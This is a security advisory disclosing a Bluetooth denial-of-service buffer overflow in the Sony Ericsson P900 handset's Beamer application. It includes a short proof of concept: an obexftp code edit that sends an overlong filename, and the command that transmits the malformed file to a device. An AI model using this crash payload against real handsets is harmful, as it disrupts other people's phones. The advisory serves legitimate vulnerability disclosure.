Sony Ericsson P900 Beamer Malformed File Name Handling Denial of Service Vulnerability

BID:13782

Info

Sony Ericsson P900 Beamer Malformed File Name Handling Denial of Service Vulnerability

Bugtraq ID: 13782
Class: Boundary Condition Error
CVE:
Remote: Yes
Local: No
Published: May 26 2005 12:00AM
Updated: May 26 2005 12:00AM
Credit: Discovery is credited to Marek Bialoglowy.
Vulnerable: Sony Ericsson P900
Not Vulnerable:

Discussion

Sony Ericsson P900 Beamer Malformed File Name Handling Denial of Service Vulnerability

Sony Ericsson P900 handset is affected by a remote denial of service vulnerability. This issue arises because the application fails to perform boundary checks prior to copying user-supplied data into a finite sized buffer.

The vulnerability presents itself in the Bluetooth-related Beamer application when handling a malformed file.

Sony Ericsson P900 handset is reportedly affected, however, other handsets such as Sony Ericsson P800 may be vulnerable as well.

Exploit / POC

Sony Ericsson P900 Beamer Malformed File Name Handling Denial of Service Vulnerability

An exploit is not required.

The following proof of concept is available:

Create a malformed name using 'remotename' in 'obexftp_put_file' function of obexftp client.c:

---- snip ---
object = build_object_from_file (cli->obexhandle,localname, \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
---- snip ---

Chose any existing file and send it using obexftp:
# ./obexftp -b 00:0A:D9:E7:0B:1D --channel 2 -p /etc/passwd -v

Solution / Fix

Sony Ericsson P900 Beamer Malformed File Name Handling Denial of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Sony Ericsson P900 Beamer Malformed File Name Handling Denial of Service Vulnerability

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